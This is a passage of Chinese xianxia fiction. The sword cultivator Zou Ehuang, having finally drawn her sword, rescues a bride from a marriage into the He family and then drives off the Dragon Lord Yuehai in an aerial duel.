打一个比方来说,如果书的基石是文字,那么修行者入门的第一件事就是,区分出自己身上究竟有几条灵根,并分布在哪些位置。 才能确定适合修炼什么功法。 七十二条灵根,有的人只有三条,但是从脑贯穿至脚心,修炼速度一日千里;有的人有四十二条,但是几条连起来就相冲,是天生的废体。 所以不一定灵根越多,就越好。 而灵脉,则和灵根不同。 灵根是天生就存在的,灵脉则是,修士在某一个瞬间,忽然成型的。 也正是因为此,灵脉的种类五花八门,名字各有不同,稀缺的像什么“指脉”“目脉”可能是万古难见,常见的如“雷脉”“火脉”,可能就是雷里走一遭,火里烧一烧就出来了。 在这其中,剑脉,属于一个不上不下的位置。 自宴霜寒出名后,天下剑修一茬一茬地冒出了头,拥有剑脉的人如过江之鲫,然而放在剑修这一整个整体里,却还是算得上是少得可怜。 拥有剑脉的人里,有年少成名的少年剑客在握剑的刹那就生出了剑脉,也有白发苍苍的老者直到临死前才有了此脉;有正道君子,也有邪道小人剑脉出现在形形色色的人身上,甚至有的人,手里都不一定有一把剑。 但是所有人都知道—— 生出剑脉的人,一定是天生的剑者。 怎么会是、千年废物邹娥皇、 长出了剑脉?! 何渡心神震荡,方才被剑气荡伤的心脉还没有好全,又哇地吐出了第二口血。 “咔嚓——” 他听见了自己的本命灵笔从中间裂出了一条痕迹。 院口处,那逆着光站立的女修,还是垂着花白色的头发,一步一步走上前来。 她眼角微垂,已然生了几道细纹。 老意,出现在一个修士身上,往往就离寿元将近不远了。 但是当老了的人是邹娥皇的时候,她握着手中的宽剑,剑尖在阴湿的泥里划出一道分明痕迹。 明珠只觉得,邹仙长在那一刻竟这样的年轻。 脚步声踏在细碎的叶片上,光影一点点变换,直到那身影立在明珠前,跌跪在地上的明珠才好似怔然回神——这往日最是秀丽齐整的姑娘此刻面容脏污,身上的喜服全都是细碎的划痕,脖子上还有刚刚挠出来的血痕,尚未结痂。 这姑娘听见,终于拔出剑的邹仙长,声音温和地对她道: “明珠姑娘,愿意跟我走么?” 愿意。 我愿意的。 然而明珠喉咙哽住,在仙途真的出现在她面前的刹那,她什么话都说不出来,只剩下心中的惶惶不安,千言万语最后只能化作点头。 她心说:我是愿意的。 邹娥皇得了点头后轻轻笑了,她面容平和,带了一种明珠说不上的慈悲,在那刹那,明珠只觉得像是故事里的真仙人走了出来。 真仙人不一定是长得仙姿玉骨,但一定有这世上最冰心透彻的好心肠。 下一瞬,何家舅甥两人就看见这拔了剑的邹娥皇转身,平静地说:“今日我就要带她走,你们谁来拦我?” 剑身质朴,然而冷光刺目。 何渡眉眼沉了片刻,如今老祖下落不明,何家在这个关口上和这人对起来显然是不明智的,但是眼睁睁地看着对方走,这等屈辱 还没等他理出个顺来,就听见自己那一直嚎啕的侄儿忽然停止了哭声,只剩下一二声微弱的抽噎。 何富贵:“她、她是我今日要拜堂成亲的娘子,你凭、凭什么带她走!” 邹娥皇低头看了他一秒,然后左手一抖,宽剑发出一声剑鸣,闪着剑光的剑尖在何富贵喉前半寸停下。 何富贵咽了一下唾沫,弱弱地又把脑袋别到了舅舅腿后。 只听见邹娥皇好笑地叹了一口气。 她说:“我凭什么带她走呢凭她愿意跟我走。如果这个理由你不接受的话,那我只能凭这把剑了。” 何富贵:“!” 他心尖一跳,这个时候才意识到对面的人剑已出鞘。 目光望去,那失了一臂的女剑修,收起了宽大的厚剑,用纤长有力的左手,牵起了他的未婚妻,明珠。 邹娥皇步履从容,好像只是来做客一场。 “咳、咳。” 等看着邹娥皇邹娥皇走出院子口去后,何渡身形摇晃,再也支撑不住地倒在了地上,他眼里闪过一丝的惊疑不定。 原本邹娥皇的修为是多少他并不清楚,但是刚刚的他看的分明,化神巅峰而已。在他用了涨这个字诀后,他的修为甚至还要隐隐压对方一头可是为什么,她甚至没有真正的对他用剑,仅仅只是一道剑气,就已经让他的本命灵笔,崩出了一道裂痕。 何渡吸了一口气,再度睁眼的时候已经恢复了往日的冷静,他对何富贵道:“这几日满城必有风雨,命人压下看何家热闹的声音,至于你媳妇么对外宣称就说是——” 何渡闭上眼:“何家愿意和蓬莱交好,所以派出人去蓬莱游学,明珠便也在此列。” 话音落下,却迟迟未听见何富贵回应,何渡不悦地再度睁眼看向他,“怎么?一个女人而已,值得你又跪又哭” “不、”何富贵如同白日见了鬼。 “老祖、是老祖!” 老祖?何渡心里一跳,但是转瞬又松了口气,这个当口,先前的计划放一放也好,老祖暂且活着,对何家也是好事 然而等他转过身,看清来人究竟是谁的时候,面色却比何富贵还要白上几分。 是老祖。 但此老祖非彼老祖。 莲花印记,圣人慈悲,所问无言不知,是气化天书的何言知。 何富贵的震惊或许只是死人复生,而何渡的惨白,则是因为他知道当年那件事的真相,每一个何家的嫡传子弟都去过传业屋,他们都看过那三幅画,因此都明白何家和何言知,从来都是杀身之仇。 眼下,这眉舒目展的圣人,从画像里活了出来。 垂在双侧的手上,圈绕着层层墨字,何渡看不清,只觉得视线受到灼烧。 只听这圣人叹了口气,却是问:“不好意思叨扰了,请问这里,是密州么?” 何渡与何富贵听后一愣,还没来得及反应过来。 就见圣人抬起了右手,微微勾了下小拇指,绕在小拇指上的“真”字就骤然飘闪在半空中,下一瞬,两人纷纷觉得有什么在从鼻腔中灌了进去,竟不受控制地开口道:“是!” 圣人微微笑:“既如此,你们可曾见过一个女修?” 他比了比肩膀的位置,“大约这么高,生得没什么特色,背上倒背了一把厚剑还是个小姑娘,但是头发白得快。” 圣人好似很苦恼:“刚刚追着她到这里来,但是如今却不见了。” “所以请教一下两位,她去哪里了?” 第28章 别怕。 “邹仙长。” 走出何家, 明珠忽然停住了脚步,松开了邹娥皇的手。 邹娥皇一愣,她回头。 就看见这花了脸的新娘双眼微垂, 面上是很难堪的笑意,缭乱的青丝遮掩住明珠的唇形,于是即将脱口而出的话也变得含糊不清。 在这个利落的小娘子身上,其实很少出现这样的拖泥带水。 “就到这里吧, 仙长。” 明珠不敢看她:“仙长带我出何家,小女已经很感激了小女胸无大志,并不想离开何城。” 说完后, 明珠紧紧闭上眼, 她害怕睁眼后,看见邹娥皇那双柔和的水眸里闪过失望的神色。 面对这般不识趣的自己,邹仙长失望, 也正常。 然而下一瞬, 明珠只感觉到一双手轻轻将她起额前的长发别到耳后。 轻轻的,似乎因牵扯到暗伤, 还有些迟缓。 明珠听见邹仙长语气带笑, “第一次见你的时候我就想说了,这么漂亮的姑娘,要把眼睛露出来才是。” “仙长?” 冰凉的指抹去这姑娘眼角的水痕,这一刻明珠才意识到自己原来哭了。 邹娥皇:“姑娘,你在怕什么?” 你在怕什么? 这一句轻轻落下, 却犹如千斤之锤,锤地明珠忽然感觉胸前嗡嗡作响, 好像有什么要从心脏里喷涌而出。 “我我怕” 在何城,一个姑娘要怕的事情其实很多, 要怕觅不得如意郎君,要怕母家苛刻嫁妆,怕西怕东,还要怕一个人走夜路。 但是当何城的这个姑娘叫明珠的时候,她其实只怕一件事。 她怕自己的选择牵连别人,就像是当初的何雪梅。 她怕今日跟了邹娥皇走,明日被迁怒的就是明家。 明珠芳年不到二十,可她要怕的是一整个何城。 “别怕的,”面前的邹娥皇低下头,好像已经听懂了明珠的意外之言,“没什么好怕的。” “明珠,要带你走的人是蓬莱二师伯,没有什么好怕的。” 何家不会和蓬莱对上的,在失去一个老祖的前提下。 明珠怔愣抬头,却只见邹娥皇狡黠地眨眼,微凉的指尖再度牵起她的手掌,用力一带;下一瞬明珠脚尖离地,风声在这姑娘的耳边呼啸而过。 是剑。 邹娥皇扯着她跳到了那把宽剑上。 明珠心神动荡间,只看见她从未走出去的何城,在她的脚下越来越小。 原来这就是修仙吗,纵横千里不过一瞬,天下万物不过蜉蝣。 刚刚那些个想好的牺牲,在这片坦荡的仙途面前,明珠却忽然有了犹疑。 或许她不必牺牲。 或许她也可以和邹仙长一样,用剑说话。 让一个人改变,有时候需要经年累月,有时候却只需要一个瞬间,照亮她的世界,让她明白天下之大,不在眼前。 而前面的邹娥皇脸色莫名地惨白了起来,她虚虚摸了摸头上的虚汗原来御剑是这样的感觉,以前蹭剑蹭多了,现在做御剑的人才发现——有点点恐高。 她捏着明珠的手腕,在一阵颠风里,无意识地一用力。 明珠一惊,骤然回神,再度看向邹娥皇。 她隐约觉得,现在见到的邹仙长,比起之前见到的那个邹仙长,身上多了些说不清道不明的感觉,就好像画上模糊的人,忽然凭空多了五官,变得无比生动。 好像一下子从一块泥塑,变成了有情绪的活人。 仙长她,在那短短的半日里,到底是经历了什么? 才会鬓角生白发,眼尾落细纹。 “仙长,”明珠轻声问:“你看起来有些的难过。” “为什么?” 邹娥皇被这句话问的一愣。 难过,她有么。 东风把别在脑后的白发吹得缭乱,邹娥皇闭上眼,在这万丈高空里,脑子嗡嗡作响。 她分明已经拔出了这柄剑,那为什么还要难过? 难过、这样的情绪究竟是什么呢 大约、应该是有一些的。 有的人就像是上好发条的木人,朝着一个目标不断地前进,在这个过程中无论遇到了什么,第一个反应都是屏蔽。 邹娥皇就是这样的人。 她闯龙宫十二次,受过无数的伤,疼到最后都有些麻木了,却还是在一次次地前行,哪怕头破血流,中间想过无数次的放弃,最后却还要跟一条只知道追着骨头的狗一样,一而再,再而三地奔跑。 她想救她的朋友。 她以为,那个至少是她的朋友。 所以邹娥皇不在意也不在乎会付出什么,她忘了身上新添的伤口,也忘了沉寂的心跳,不知疲倦,不问归路。 现在,她救出了何言知,心中生了剑脉。 明明故事的结局到这里结尾就已经很好,可为什么还要再难过。 邹娥皇不明白,她甚至有些想笑。 剑脉啊——这条剑脉,本该是三千年前就出现在她身上的剑脉,却被对方的星盘,压了那么久,那么久。 直到方才星盘离体的那一刻,邹娥皇才明白,当初何言知赠予她的时候,那一句“因果相继”究竟代表了什么。 他的星盘成了她的剑骨,可压制了她的剑脉。 他的儒道成了她的因果,从此大周朝运被捆绑在她身上。 他对她的‘恩情’,是五指山,压在她身上动弹不得。 密密麻麻,全是算计。 所有邹娥皇曾以为的为朋友赴汤蹈火在所不惜,在天道的规则看来,可能就变成了她欠何言知的。 在拿到星盘的那一刻,她面前其实就没有了选择。 她只有救活他。 她必须救活他。 她才能拔出她的剑来。 而邹娥皇并不知道这些,她只是误打误撞地错生欢喜,凭着一腔孤勇,救活了人,拔出了剑。 而邹娥皇在剑脉生出的刹那,她最后的希冀其实是,智多近妖算无遗漏的何言知,但凡有一点把她也当做朋友,那是否还有一种可能就是,他也不知道这一切。 只是单纯地想赠予星盘,无意让她陷入一早就写好的结局。 但最后,邹娥皇只得到了一句承认。 何言知啊,他甚至都不愿意骗她。 邹娥皇摸着胸口,心想这样帐然若失的感觉,原来是叫难过。 何言知骗了她。 而她的赴汤蹈火,最后终于成灰。 鱼澹也好、何春生也罢,他们说的原来都是对的。 于是明珠听见那邹仙长这样回答她: “因为姑娘啊,人心是肉长的,哪怕把一切想的都很好很体面,也难免会为了这结局遗憾。” 倘若只如初见,不必成为挚友,自然不会有反目。 可是倘若只如初见,这至清至情的剑,要到何时才会为它的主人,发出愤愤不平的剑鸣? …… 另一处高空。 红袍紫纱遮掩不住那妖娆的身姿,玉足之下是波光粼粼的红绫。 是七彩阁阁主,艳名天下的那个尹月。 人人都说,这天下只有两种美人。 一种是蓬莱岛上小师叔李千斛,仙姿玉骨,冰清玉洁;另一种便是七彩阁阁主尹月,妩媚动人,艳绝天下。 爱她的人爱之若狂,恨她的人恨不得生啖其肉。 尹月接了邹娥皇的通灵玉后,连沐浴都来不及,就急匆匆地出发了。 然而此刻,她把脚下的红绫蹬地飞快,却还要装出一副漫不经心的模样,鬓角的每个头发丝都用灵力进行了固定。 暗沉的通灵玉被她紧紧攒在手上。 这块通灵玉已经存在了太久太久,久到哪怕是玉这种透明的材质,也显得黯淡。 可是人人口中最是架子大,脾气暴,吃穿用度样样都求个拔尖的尹月,在这几千年的岁月里,经历无数个另辟蹊径从这块通灵玉入手的人,面对着他们献上来的又是镶嵌着宝石、又是刻着七彩阁花样、又是龙珠打造的 面对着那么多个花样独特的通灵玉,尹月从来没有把手心这块丢下过。 就连她自小养大的嫡亲徒弟尹芝都要不解地问她:“师父,这块通灵玉里到底有谁啊,怎么你一直舍不得换?” 尹月支支吾吾了半响,最后只是恼羞成怒地让尹芝把红绫诀要点抄了三遍。 那日在尹芝走后,已经不再年轻的七彩阁阁主尹月摩擦着这块通灵玉,有好个半响,其实她也记不得这块灰扑扑的通灵玉里有谁了。 但她总期望这块玉能再度响起。 直到如今,她终于听到了那声响,迟来了几千年的传信,击碎了七彩阁阁主的粉饰太平。 原来,自己等的人,是邹娥皇。 那这块玉里到底算什么,其实已经很清楚了。 尹月想,这是她的命。 留着这块通灵玉那么多年,就好像不必再有后顾之忧,就好像能在忙碌的利益角逐里再松口气,哪怕山穷水尽,尹月也觉得自己多了一条退路。 如果让旁人知道,大乘高手尹月,把蓬莱岛上那个拔不出剑的邹娥皇当做底气,一定会觉得是无稽之谈;唯有尹月明白,如今七彩阁看似是日日繁华,实际是烈火烹油,鲜* 花着锦,经不起一点风吹浪打。 而生死关头,尹月把通灵玉那些人翻了个底朝天,在无数个门派世家的什么什么掌门长老里,竟也只有邹娥皇一个人,算是她的朋友。 是她无论多久,都可以托付生死的朋友。 哪怕诸多年未曾联系过对方,哪怕最后是不欢而散,哪怕连个告别都没有,可她心里竟总是期待着下次相逢的。 下次,下次,求仙岁月这般长。 故友总有重逢时。 高空里,眉梢眼角都是艳色的尹月,摸了摸鼻尖,朱红的唇微微勾动,笑的是这样的美丽。 也是这样的动人。 第29章 上一次,让他感到心悸的人,还是宴霜寒 烈阳穿透云层, 浅浅落在云舟上。 洪兴龙叹了口气,这粗糙的汉子慢慢替呼呼大睡的小少爷盖上了一层薄被。 放在昨天之前,如果有人说铁骨铮铮的洪兴龙会对一个拿刀架在他脖子上的邪修和平共处, 洪兴龙肯定是不会信的。 哎,可谁让这小少爷哭地那么惨 他洪兴龙,顶天立地大男人,最见不惯别人哭了。 甲板上, 抱着剑的青度目光幽静,她双手垂在剑柄上,作为供给云舟灵气运转的人, 维持这个姿势已经一天了。 在这一天里, 青度经历了情绪上的大起大落,还有一种深深的吐槽从心里升起。 昨日,面对这个叫谢霖的化神邪修, 青度一直握着坎天剑, 就等着交手的时刻能够一击必杀,然而到最后, 她把剑都握僵了, 也只不过听见了一声哭腔。 绵弱的哭腔,从吓人的傩面下传出。 青度当时就想:自己的生死劫,就是这么个玩意? 还是说,其实根本没应在对方身上。 然后,就在青度胡思乱想之际, 这原本看着还有几分危险的邪修,突然地从身上飞出了一面镜子, 在空中嘎嘣嘎嘣地碎开。 当时在场的众人都大惊失色,以为这是什么自爆的法器, 结果就发现嗯,确实是蛮自爆的哈——随着镜子一寸寸裂开,飘在空中的谢霖也发出了惊天动地的哭喊。 像是疼到极致的小动物,吱呀吱呀地乱叫。 看着叫人可怜又可笑的。 那镜子自然就是溯世镜的子镜,母镜一破裂,子镜也就碎了 可怜的谢霖小朋友,威风凛凛的出场,然而一招都没落下。 然后人就晕了过去,直到现在都没醒过来。 青度一开始本来想一剑了结他的,但就在剑指对方脖子的那刹那,这蓬莱山上的大师姐微妙地发现了卡在谢霖脖子上的碎片,其实并非人皮。 联系到对方前面哭哭啼啼的怂样,到底有没有杀过人还不好说。 心里的迟疑一起,剑便也就放下了。 但青度还是保险起见给对方套上了锁灵环,又派除了她之外修为最高的洪兴龙近身看守。 此刻青度闭着眼,在心里暗暗算着路程,再有半柱香,十四盟总部也就到了,届时谢霖如何处置,其实都和她无关了。 只要保证这半柱香,路程太平就好。 金色的日光刺透云层,就在这个时候,洪兴龙鼻尖忽然嗅到了一股寒气。 这样的寒气,起先并无任何人察觉,但是骤然浮现在鼻尖的时候,只觉得鼻头都要一僵。 然后就是遍体生寒。 这个敏锐的糙汉抬头,终于发现了有什么地方的不对劲。 最东边的太阳,消失了。 那所谓的烈日,竟只似一轮镜面。 “小仙人!”洪兴龙大骇,就是扭头去找青度。 却见青度不知道什么时候已经握住了出鞘的剑,目光中闪烁过一丝洪兴龙看不懂的了然,朝着这风平浪静的天空高喝道:“前辈,来都来了,何必躲躲藏藏!” “蓬莱山当代大师姐青度,持坎天剑,问过龙主!” 刹那间,神色懵懂的众人不由得面色大变。 层层叠叠的云里仿佛传来了一声轻笑,弥散的雾气在刹那结成了冰渣。 来者不善。 青度垂眸片刻,心头不知为何松了一口气—— 倘若这次师父算的挂是准的,她的生死劫落在龙主越海身上,总比落在那个哭包身上不对,更危险了怎么办。 “小辈,既然认出了本座,把剑收起也就罢了。” 云层化冰,然后冰层脆脆碎开,变成了闪着寒光的冰锥对准着云舟众人。 冰锥后,站了个极高的青年,他身上穿着繁杂的紫色法袍,在袖口处挽起露出了古铜色的小臂,有一条八爪银龙盘在肩上,正哈着寒气。 在高空中如履平地,纵风劲再强,也不改其衣袍,再联想到刚刚青度嘴里的那句龙主,众人一时也就想明白了对方的身份了。 龙主越海,大乘期,这世上顶顶拔尖儿的高手。 然而反应过来的下一瞬,均是头皮发麻。 龙主越海一个和东海龙族没有任何关系的人类修士,起这个名字无疑就代表了一种挑衅;他背上盘着的那威风凛凛的八爪银龙,在没被驯化成灵宠之前,曾是鱼澹的哥哥,东海龙族的大皇子。 因御龙之术,让越海得龙主威名,名赫八方。 人群里,郑力把视线瞄向青度,心里想起了很久之前的一个传闻,说龙主越海最开始瞧上的银龙其实不是大皇子,而是三皇子鱼澹 前些年鱼澹身负寒毒,就有人说,是越海打的。 而青度,正是鱼澹的徒弟。 如今这龙主显然是来者不善啧啧啧,郑力抱紧了怀里的方半子,眼珠子转了一转,心里想的是一会打起来的退路。 “还不收起么?” 越海粗犷的眉毛一簇,目露玩味。 他慢慢抚摸腰间别着的西葫芦,双指一并,念了声去。 西葫芦闻声大涨,唰地飞到了青度眼前,葫芦口冒着森森的寒气。 青度慢慢地闭上了眼,师父鱼澹身上的伤口,是一个又一个圆形的疤点,如今想来,竟和面前的葫芦口不谋而合 下一瞬,蓬莱山大师姐再度睁开眼,面对把她视为蜉蝣的大乘,掷地有声道:“伤了我师父的人,是你么?” 越海哈了口气,“你师父?” 他明知故问:“一头七爪银龙?本座那不是伤他,那分明是赏识他,若他愿意当本座坐骑,何必还有寒毒入体?” 青度闻声后竟点了点头,状似乖巧地把坎天剑收回了鞘内。 越海大笑,“你倒比你师父识趣” 然而话音未落,劲快的拳声擦面而过。 越海挑眉,一动不动,嗤笑:“狂妄至极。” 云舟上,轰然发出一声巨响,赫然是刚刚欺身而上的青度,此刻将木板砸出了一个凹槽,细碎的木渣粘连在她布衣上,裸露的肘处出现了一道青痕,然而她面色不变,擦了下唇边的血迹,就要再度追上去。 大乘自有罡气护体,青度刚刚的拳头对于龙主来说可能连挠痒痒都算不上,但她之所以扔了剑选择了拳头,就是因为拳风只要够快,就能破开罡气,这是其他的武学做不到的。 轰轰轰—— 接连不知道多少下后,罡气终于破开了一条微弱的缝隙,越海神色未变,只是摸了摸身后的银龙,轻轻笑了,银龙得到他的示意,龙口大张,极其阴寒的龙息朝青度而来。 青度早有预料,乾坤袖里一掏就是一画卷,往上一扔,画卷和龙息对上,下一瞬,画撑了龙息寸寸破碎,而青度脚点点地离开了几丈内。 越海斯条慢理地说:“本座一开始只是在这里晒太阳,见了你,想说正好带你去找一找那银龙玩也不错,谁料你这般那恐怕,死了的提在手里还比活着的容易。” 青度并不言语。 对方一早就设下屏障,分明是笃定了她会来,刚刚通灵玉也发不出求救信号,现在又在这里装模作样 青度摸了摸胸口。 蓬莱每个弟子都会有一场生死劫,由鱼澹提前告知他们本人,然后给他们两个选项,一是留在师门,不得下山,从此享万年太平。二是硬着头皮去刚,九死一生,跨过了生死劫,就是境界大提升。 而所有人都能选前者,唯独青度。 若她要代替蓬莱道祖,在百年后撑起下一个蓬莱,那她就只能是后者。 活下去,她就是蓬莱大师姐,未来掌门人。 越海的第二道攻击来的很快,几乎是她刚刚落地还没有站稳的一瞬,银灰色的龙息寒霜轰然一闪,下一瞬青度半个肩膀都结了一层冰沙。 青度面不改色,乾坤袋呜呜作响,飞出了闪着光的几道法宝,八卦图叮地一声闪出光亮,下一瞬,青度身影消失在了原地。 八卦图么?有点意思。 可惜,越海微眯双眼,可惜用这八卦图的人境界还远远不够。 “嗬。” 他抬手,万钧雷霆,三千冰锥朝着一处空地而去。 轰然地一声响,空地炸开了烟花。 越海一蹙眉,没人? 下一瞬,他若有所思,微微一偏头。 烈日阳箭从他耳边穿过。 越海转身,看见了那个只剩一只手还能动,连眼珠子都好像被冰霜冻住的青度,微微嗤笑:“还挺有本事的,可惜你修为太低了,蚂蚁咬象,象是很难觉得疼的。” 他抬手,终于好似是厌倦了,西葫芦骤然发光,极寒之气向青度席卷而去。 这一击,大乘之下,无人能躲。 青度眼珠子仍在缓缓挣扎着,然而半边身子移动不得。 忽然,天边传来了银铃沙沙的声音。 一直胜券在握的越海终于微微变了神色,抬头去看,心里骂了句草,竟是尹月那个娘们。 云舟上,郑力拿着星盘微微一照,哇的吐出了口血,心里想:娘咧,这是什么日子,怎么这一堆怪物都聚在这里了。 只见云层里,慢慢走出了一个身姿曼妙的美人,她伸指,红绫从她肩上唰地一下飞过,将僵着身子的青度卷到身后。 尹月红唇微勾,“七彩阁尹月,不知道可否有面子请龙主高抬贵手呢?” 越海眉目阴沉:“尹月,你当真要和我打起来?” 他们都是大乘不假,然而功法之间自有相克。 越海的阴寒之气,天生克尹月的至阳至纯之法。 尹月眼底发冷,笑说:“这不取决于我,取决于龙主。” 越海点了点头,话说到这个份上,往常他未必不能给这美人儿一个面子,但是如今他急需收服鱼澹,只能从青度这里寻突破口。 唰地一声,青度被尹月丢到了洪兴龙那里。 大乘交手,动辄就是天地裂变,然而底下的众人甚至还没能看到两人是如何交手的,就已经是几百招过去了。 红绫和阴寒的冰锥席卷在一起,尹月眉目不变,心里却是一声啧,再打下去对她不利;不只是因为越海这老贼的阴寒之气她还要分出心神不让两人交手的灵气震荡给底下人。 一时就束手束脚了起来。 就在渐渐落入下乘的时候,尹月忽然嗅到了一股熟悉的气息。 像白开水一样,清冽,凑近了对方也未必能闻得出来,只有在对方身边呆过相当长的一段时间,才会对这样的气息感到熟悉,甚至心安。 她分神去看,却只看到一个花白色头发的背影。 那是邹娥皇么? 邹娥皇修为怎么在化神巅峰头发花白,是天人五衰? 然后转瞬,尹月才注意到,邹娥皇背后已经没有了那把厚剑。 是终于放弃了么不,那可是那个倔犟到令她气了个半死的家伙 尹月笑了,这次笑的无比开怀,点点泪花从她眼角沁出。 如果不是放弃,那就只有一种可能。 她的朋友,终于拔出了那柄剑。 …… 云舟上,明杏朝明珠欢庆地跑过去,千言万语都在看见阿姊破了皮的那一眼,变成了泪如雨下。 一直瘫在洪兴龙身侧的谢霖,好像受到什么牵引一样,缓缓眨了眨眼。 他抬头,看见了一个绝不会认错的背影。 …… 无边云海,万千寒芒。 龙主越海觉得对面突然出现的女修有些眼熟,但偏生又记不得了。 不过他认得对方身上的道服:“蓬莱人?” 邹娥皇慢慢抬头,左手处握着的剑此刻终于有形,云海之中,就是此剑最适合的场地。 “是。” “蓬莱道祖二弟子,邹娥皇,请龙主一战!” 越海恍然大悟地哦了一声,“你就是那个拔不出剑的废人?” 他轻笑:“如今一朝拔剑,就敢以化神境对大乘境,到底是谁给你的勇气?五千年拔不出来的剑,便是一朝拔出,你难道还以为自己是什么天命之子?” “可笑、愚昧!” 邹娥皇并不生气,只是笑了,她说:“我这一剑磨了五千年,养了五千年,虽非天命之子,然仍有一战之力。” “不知龙主,可敢应战!” 越海嗤笑,懒得再说一句,双手做爪,就朝着邹娥皇杀去。 这一爪,云层散去,空间裂变,哪怕是尹月也未必能全身而退。 然而邹娥皇,只做了一个动作。 也只有一个动作—— 拔剑! 她左手慢慢地升起,越海的攻势不由得一顿,然而已经来不及了。 那是一柄平平无奇到放在任何时候,都不会有人多注意到的宽剑。 但是此刻骤然出现,越海无端地只能感到一阵心悸。 上一次,让他对剑心悸的人,还是宴霜寒。 第30章 为何高官厚禄不必死,黎民百姓伏尸万里 越海见识过宴霜寒的剑。 二十年前剑斩妖王的时候, 他也在场。 在死海上,那个银发剑皇持右手神华剑,脚下是浪涯涛涛, 耳边是死海哀嚎的冤魂,对面是真身如巍峨山峰的同境界狂化妖王。 而剑皇,宴霜寒,这个闭关不稳, 临时出关的男人,只出了一剑。 这一剑,被誉为天下至强。 这一剑, 让死海几年里都不曾有过冤魂哭嚎。 越海甚至当时都疑心, 同等境界下,他是否能接住宴霜寒三招;甚至在一度时间内,他甚对剑修这个群体都产生了一定的误解。 而直到后来, 他见过了形形色色的剑修, 才明白正经剑修的剑,是不会像宴霜寒一样的蛮横强势说句不好听的, 越海作为一个参与过围剿魔修的人, 在宴霜寒出剑的片刻,他甚至都觉得见到了旧日的魔尊。 那是和魔一样的力量,铺天盖地都是毁灭。 所以一剑之下,万魔臣服。 是绝对的实力和碾压。 而今日,站在越海对面的邹娥皇, 头发花白更甚宴霜寒,眼角细纹像凡间上了年龄的女子总之和修真界那些个美貌显化的女修像是两个物种。 她只是一个化神期, 在他大乘的威压下只能俯首称臣磕头跪拜的化神期怎么敢对他拔剑,怎么能对他拔剑! 然而爪子离得越来越近的时候, 威压几乎要把周围一切时空压缩的时候,越海听见了一声剑鸣。 这剑鸣,不是天机子那像青松落大雪的哗哗声,也绝非宴霜寒那带着杀气的怨嚎声。而是风,无声,又有形;是云层穿梭,日月相碰;又好像是远古、万物的伊始,是天地翱翔万物的鲲鹏,发出的第一声鲲鸣。 只见邹娥皇—— 双指并,问苍天。 红日落,沧海跃。 在这一刹那,周围的一切喧嚣都褪去,无声更胜有声。 这剑鸣,像宴霜寒剑斩妖王一样,轻而易举地弹开了越海的大乘威压。 越海的眼珠子缩成一个黑点。 只见视线中央,面目平静的邹娥皇,缓缓抬起了头。 她有一双和明杏一样的杏眼,黑白分明,然而又和明杏不同,这双杏眼里没有灵动,也没有俏皮,无端只剩下了一片死寂。 就像是她的剑,沉默质朴。 然后,她终于出剑了。 极其宽大质朴的黑剑,快,准,狠。 不带一丝一毫的犹豫,单刀赴会。 该如何形容这一剑,倒不是所有的言辞都苍白,而是这剑挥舞的时候,你确实不会觉得它危险,你甚至觉得它毫无剑气波动,和凡铁没什么两样。 和剑皇的神华剑比,这剑没那么多的特效。 和天机子的西吹雪比,这剑也没什么天地异象。 然而当它落下后,所有人的心里都是一咯噔。 而被挥剑的龙主,用失去双臂的代价,看到了生平最强的一剑。 此剑并无别的花架子,哪怕是外行人,也能看出来只是很简单的一砍,一挑,然而手腕灵动性,判断力,却绝非易事。 没有杀遍死海的魔物,做不到这样的直接了当。 可极怪的是,这剑偏偏又像是皓月当空、清白分明的水波,若是有了杀生的孽缘,又如何生出这样的一剑。 好奇怪的感觉,越海一边忍着伤口处的疼痛,一边放银龙去拖延。 剑气?不,这剑没有剑气。 但是他竟感受到了,一种浴火重生的灼热感,好像这剑挥出来的同时,就已经将了千年的岁月。 好奇怪、好奇怪。 这世上剑修,多是意气风发之辈,然而邹娥皇的这一剑,多的是郁郁不得志,寡寡落寞,有这世上所有的悲凉,好像是开错时节的花儿,还没等到盛放就已经凋零。 然而,在最后,越海又好像嗅到了春日的花。 这是剑意么? 不、不像,或许是—— 越海急急后退,西葫芦作为他的本命灵宝,在这剑下被削碎了半截。 一个大乘期,天下唯六的大乘,龙主越海,甚至和以至纯出名的尹月对招时仍有余力的大乘修士,在这个花白头发的邹娥皇面前,竟然只有后退的地步。 下一瞬,越海听见那个让他胆寒的女修,轻轻说: “这一剑,是替我那师弟出的。” “龙主。” 她极其诚恳地说,拇指微微摩擦剑柄,似乎是有些地羞涩,“我还有两剑一剑要为挚友尹月而出,一剑要为师侄青度而出。” “你可做好应战的准备?” 就像是一个一直吃着老婆饼的人有了老婆,穷了八辈子的人骤然中了彩票,邹娥皇毕竟是个剑修天下剑修共有的一个特质,她自然也是沾点的,比如说好战。 拔不出剑的废人终于拔出了剑,刚刚在何家忍着不出剑对于她来说绝非易事天知道,其实她多盼望何渡硬气起来,愿意同她打起来 但是何渡最后怂了,而现在遇上的这个龙主,肯定不会吧? 哎。 不过以她现在的剑脉,也只能支撑她斩出三剑。 邹娥皇眨了眨眼睛,黑白分明的眼珠里隐隐闪出了期待的亮光。 然而须臾,却见龙主越海沉默了片刻,西葫芦闻声大涨,就在邹娥皇以为他要憋出来什么大招的时候,却见那银龙虚晃一招,冰冷的寒息轰隆隆地向她喷涌过来,就在她极速躲避的当口—— 越海,跑了。 作为一个大乘期,用天赋神通破开虚空,跑了。 邹娥皇:“” 追么?怎么追。 她缓缓吐出了口气,脚尖慢慢点地,落到了地上。 方舟之上,左面是略显有几分狼狈的尹月红着耳朵哼了一声,右面是心里掀起惊涛骇浪但面无表情的青度。 尹月:“邹娥皇!你、你、你!谁是你挚友!” 青度:“幻海天秘境十五年后开启,师伯可以开始作为带队长老准备准备去了。” 邹娥皇连连摇头后退,结果裤脚忽然被人抓住。 她低头,只看见那几乎要焊在某人脸上的傩面,此刻被风吹的轻轻一动,露出了一张如清水芙蓉般的面庞,悬而未落的泪珠停滞在那狭长的眼睫上,貌如当年分毫未变的小公子,哭声哽咽。 一字一句。 谢霖:“找到你了,你这个、骗子!” 骗子? 骗了什么?感情吗? 邹娥皇一个恍惚,竟说:“百年不见,一点儿个子也不肯长地么?” 谢霖:… 谢霖“哇”地一声,泪就从珠子变成了两条水柱流下。 尹月神情古怪地勾住邹娥皇的肩。 这位蓝颜知己遍天下的七彩阁阁主,了然大悟地在邹娥皇耳边闷笑说:“铁树开花?我说你当初不喜欢你大师兄,原来是好这口啊?” 邹娥皇啊了一声,却是在想。 都什么跟什么,怎么还有她大师兄的事。 然后下一秒呼吸一滞,面容肃立地转身问尹月,“尹月,你可曾听过,没有灵根的人,生出了灵脉?” 